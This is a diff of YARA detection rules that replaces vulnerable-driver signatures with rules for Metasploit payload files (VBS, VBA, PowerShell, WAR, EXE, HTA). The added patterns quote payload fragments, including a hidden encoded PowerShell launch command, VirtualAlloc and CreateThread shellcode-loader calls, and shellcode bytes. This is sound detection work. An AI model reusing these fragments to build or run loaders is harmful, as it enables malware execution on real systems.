-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }
+		$s1 = "required to install Foobar 1.0." fullword ascii
+		$s2 = "Copyright 2009 The Apache Software Foundation." fullword wide
+		$s3 = "{50F36D89-59A8-4A40-9689-8792029113AC}" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_2594 : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_6
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "3d265316-2b94-581a-b44a-fe015d316eff"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf.vbs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5485102b-e709-5111-814a-e6878b4bd889"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L119-L139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2594b3ef3675ca3a7b465b8ed4962e3251364bab13b12af00ebba7fa2211abb2"
-		logic_hash = "ef0e7b48aaee9dc6251120a879a192993d86043dbfd11e2be1f6e675aaa4d2e4"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L158-L177"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b9498828a55477049922e50329d0c38ee34b8484562113a2686669ccbb8b3318"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8d6f55c6715c4a2023087c3d0d7abfa21e31a629393e4dc179d31bb25b166b3f"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
+		$s2 = "= CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+		$s3 = ".GetSpecialFolder(2)" ascii
+		$s4 = ".Write Chr(CLng(\"" ascii
+		$s5 = "= \"4d5a90000300000004000000ffff00" ascii
+		$s6 = "For i = 1 to Len(" ascii
+		$s7 = ") Step 2" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		5 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_6BEF : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_7
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "957addda-818b-504f-98b4-63fdfed768b4"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf.vba"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8d1b742e-510a-5807-ad3f-f10cc325d292"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L142-L168"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6befa481e8cca8084d9ec3a1925782cd3c28ef7a3e4384e034d48deaabb96b63"
-		hash = "8cf0cbbdc43f9b977f0fb79e0a0dd0e1adabe08a67d0f40d727c717c747de775"
-		hash = "2101d5e80e92c55ecfd8c24fcf2202a206a4fd70195a1378f88c4cc04d336f22"
-		hash = "45c3d607cb57a1714c1c604a25cbadf2779f4734855d0e43aa394073b6966b26"
-		hash = "600a2119657973112025db3c0eeab2e69d528bccfeed75f40c6ef50b059ec8a0"
-		hash = "deecbcd260849178de421d8e2f177dce5c63cf67a48abb23a0e3cf3aa3e00578"
-		hash = "955dac77a0148e9f9ed744f5d341cb9c9118261e52fe622ac6213965f2bc4cad"
-		logic_hash = "bf47bed12e7e3677190ab26b8384597e297fef0dc6bd654c30b8f787d9fc5573"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L179-L194"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "167d295de5ffc9c88cf72f086fef4514f08cc3b9dd2d93b3ec36acffd6430370"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "425beff61a01e2f60773be3fcb74bdfc7c66099fe40b9209745029b3c19b5f2f"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310034002000430050005500490044 }
+		$s1 = "Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal" ascii
+		$s2 = "= VirtualAlloc(0, UBound(Tsw), &H1000, &H40)" fullword ascii
+		$s3 = "= RtlMoveMemory(" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Rweverything_Rwdrvsys_Rwdrvdriver_45BA : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_8
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RwDrv.sys"
-		author = "Florian Roth"
-		id = "c9279259-59ab-5816-aa59-4d8d53f95793"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "54466663-12ef-5fa4-a13c-e80ddbc0f4f8"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L171-L195"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "45ba688a4bded8a7e78a4f5b0dc21004e951ddceb014bb92f51a3301d2fbc56a"
-		hash = "3279593db91bb7ad5b489a01808c645eafafda6cc9c39f50d10ccc30203f2ddf"
-		hash = "d969845ef6acc8e5d3421a7ce7e244f419989710871313b04148f9b322751e5d"
-		hash = "1e0eb0811a7cf1bdaf29d3d2cab373ca51eb8d8b58889ab7728e2d3aed244abe"
-		hash = "ea0b9eecf4ad5ec8c14aec13de7d661e7615018b1a3c65464bf5eca9bbf6ded3"
-		logic_hash = "773f6985a98adffe12b087c7e8e37c5fe0dba3040440d2300316464e7fa961e4"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L196-L215"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d2b26276843cdfef2d1458ee6c3e2ecea962d1cd42bc21b86ebd03599bebcbc6"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "519717e01f0cb3f460ef88cd70c3de8c7f00fb7c564260bd2908e97d11fde87f"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200770044007200760020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200770044007200760020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002000520057002d00450076006500720079007400680069006e0067 }
+		$s1 = "[DllImport(\"kernel32.dll\")]" fullword ascii
+		$s2 = "[DllImport(\"msvcrt.dll\")]" fullword ascii
+		$s3 = "-Name \"Win32\" -namespace Win32Functions -passthru" fullword ascii
+		$s4 = "::VirtualAlloc(0,[Math]::Max($" ascii
+		$s5 = ".Length,0x1000),0x3000,0x40)" ascii
+		$s6 = "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);" fullword ascii
+		$s7 = "::memset([IntPtr]($" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		6 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrwinddkprovider_Vmdrvsys_Windowsrwinddkdriver_5C0B : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_Cmd
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vmdrv.sys"
-		author = "Florian Roth"
-		id = "20989ad0-08b4-5fe0-b4cc-9846bdf4bb89"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf-cmd.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "71d42c34-a0b0-5173-8f2f-f48a7af0e4ff"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L198-L220"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5c0b429e5935814457934fa9c10ac7a88e19068fa1bd152879e4e9b89c103921"
-		hash = "32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351"
-		hash = "d884ca8cc4ef1826ca3ab03eb3c2d8f356ba25f2d20db0a7d9fc251c565be7f3"
-		logic_hash = "11d62a2a3de4eafb1a523876ce2bc34f96f43e2a228ad9cb5da6c5cb452c3838"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L217-L230"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ea44b3d00733eb7d4f924ccaece5265fcd90a462acb954a134b5355ecb0621e5"
+		score = 75
 		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9f41932afc9b6b4938ee7a2559067f4df34a5c8eae73558a3959dd677cb5867f"
+
+	strings:
+		$x1 = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e" ascii
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Msfpayloads_Msf_9 : FILE
+{
+	meta:
+		description = "Metasploit Payloads - file msf.war - contents"
+		author = "Florian Roth (Nextron Systems)"
+		id = "488a2e97-ebc2-5ccf-ab5d-dfed4b534b52"
+		date = "2017-02-09"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L232-L252"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b5761b51b79f83c48deafaf3786cb90ef493ab0448cd67b86655cecb0160a627"
+		score = 75
+		quality = 83
 		tags = "FILE"
+		hash1 = "e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0056006f006900630065006d006f00640020005600690072007400750061006c00200041007500640069006f00200044006500760069006300650020002800570044004d0029 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0076006d006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0076006d006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200056006f006900630065006d006f006400200053002e004c002e0032003000310030002d0032003000320030 }
+		$s1 = "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1)" fullword ascii
+		$s2 = ".concat(\".exe\");" fullword ascii
+		$s3 = "[0] = \"chmod\";" ascii
+		$s4 = "= Runtime.getRuntime().exec(" ascii
+		$s5 = ", 16) & 0xff;" ascii
+		$x1 = "4d5a9000030000000" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		4 of ($s*) or ( uint32(0)==0x61356434 and $x1 at 0)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_A130 : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_10 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
-		author = "Florian Roth"
-		id = "c810bb03-5e0d-501a-af32-66a5f73b410e"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3bc3b66a-9f8a-55c2-ae2a-00faa778cef7"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L223-L244"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433"
-		hash = "7e81beae78e1ddbf6c150e15667e1f18783f9b0ab7fbe52c7ab63e754135948d"
-		logic_hash = "46c2abfe24d092b974e0916f7ccf53b71c12f3d438dff3e0ef9ffd1c253b0144"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L254-L269"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c772fdc40e110ef1287da680dc4ef1718b86856abab4d814ec7bc2ee1e7808ee"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3cd74fa28323c0d64f45507675ac08fb09bae4dd6b7e11f2832a4fbc70bb7082"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003800200041004d0044002c00200049006e0063002e }
+		$s1 = { 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 }
+		$s2 = { 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b }
+		$s3 = { 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_5BD4 : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_Svc : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "0cf3d047-c497-5957-b0d3-717220393501"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf-svc.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "45d1c527-1f90-50f3-8e64-e77d69386b0a"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L247-L267"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5bd41a29cbba0d24e639f49d1f201b9bd119b11f5e3b8a5fefa3a5c6f1e7692c"
-		logic_hash = "69948e6d3cc375d78ba95a51c7a78e5a3f17e0ca07cf1e3e53d54f350d9ac0a9"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L271-L285"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "21c6aa2333335a5822328fb5176ca37060eb401640ed5cc340aefb63685078f4"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2b02c9c10577ee0c7590d3dadc525c494122747a628a7bf714879b8e94ae5ea1"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s1 = "PAYLOAD:" fullword ascii
+		$s2 = ".exehll" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		( uint16(0)==0x5a4d and filesize <50KB and all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_88E2 : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_11
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "e6f3c13e-0cec-5430-beeb-fc980dd29887"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf.hta"
+		author = "Florian Roth (Nextron Systems)"
+		id = "59b0cced-ffdc-5f2f-878c-856883ee275f"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L270-L300"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "88e2e6a705d3fb71b966d9fb46dc5a4b015548daf585fb54dfcd81dc0bd3ebdc"
-		hash = "f29073dc99cb52fa890aae80037b48a172138f112474a1aecddae21179c93478"
-		hash = "89b9823ed974a5b71de8468324d45b7e9d6dc914f93615ba86c6209b25b3cbf7"
-		hash = "3503ea284b6819f9cb43b3e94c0bb1bf5945ccb37be6a898387e215197a4792a"
-		hash = "d6827cd3a8f273a66ecc33bb915df6c7dea5cc1b8134b0c348303ef50db33476"
-		hash = "e07211224b02aaf68a5e4b73fc1049376623793509d9581cdaee9e601020af06"
-		hash = "c089a31ac95d41ed02d1e4574962f53376b36a9e60ff87769d221dc7d1a3ecfa"
-		hash = "6e944ae1bfe43a8a7cd2ea65e518a30172ce8f31223bdfd39701b2cb41d8a9e7"
-		hash = "59b09bd69923c0b3de3239e73205b1846a5f69043546d471b259887bb141d879"
-		hash = "e3f2ee22dec15061919583e4beb8abb3b29b283e2bcb46badf2bfde65f5ea8dd"
-		hash = "9d5ebd0f4585ec20a5fe3c5276df13ece5a2645d3d6f70cedcda979bd1248fc2"
-		logic_hash = "bd5ecf74e339330abb48c31bf14ea7cdfbacc93fa6c60debb435249f88a4408a"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L287-L302"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f003989a99315b42c0c73beaa2928d0187fe92a4bf329912d64fac9f8fc9358c"
+		score = 75
+		quality = 83
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d1daf7bc41580322333a893133d103f7d67f5cd8a3e0f919471061d41cf710b6"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 }
+		$s1 = ".ExpandEnvironmentStrings(\"%PSModulePath%\") + \"..\\powershell.exe\") Then" fullword ascii
+		$s2 = "= CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+		$s3 = "= CreateObject(\"Wscript.Shell\") " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrwinddkprovider_Cpuzsys_Windowsrwinddkdriver_1F4D : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_Ref
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "145b846a-8721-5a56-aa76-6d7d5dd16562"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf-ref.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "517ed365-03c6-5563-984b-dae10464671a"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L303-L329"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1f4d4db4abe26e765a33afb2501ac134d14cadeaa74ae8a0fae420e4ecf58e0c"
-		hash = "c3e150eb7e7292f70299d3054ed429156a4c32b1f7466a706a2b99249022979e"
-		hash = "2a9d481ffdc5c1e2cb50cf078be32be06b21f6e2b38e90e008edfc8c4f2a9c4e"
-		hash = "8688e43d94b41eeca2ed458b8fc0d02f74696a918e375ecd3842d8627e7a8f2b"
-		hash = "592f56b13e7dcaa285da64a0b9a48be7562bd9b0a190208b7c8b7d8de427cf6c"
-		hash = "4d19ee789e101e5a76834fb411aadf8229f08b3ece671343ad57a6576a525036"
-		hash = "60b163776e7b95e0c2280d04476304d0c943b484909131f340e3ce6045a49289"
-		logic_hash = "2ca64f822a558d25fc885da4fc79c80d4ed9c473179db3343958af0e1f21e0e8"
-		score = 40
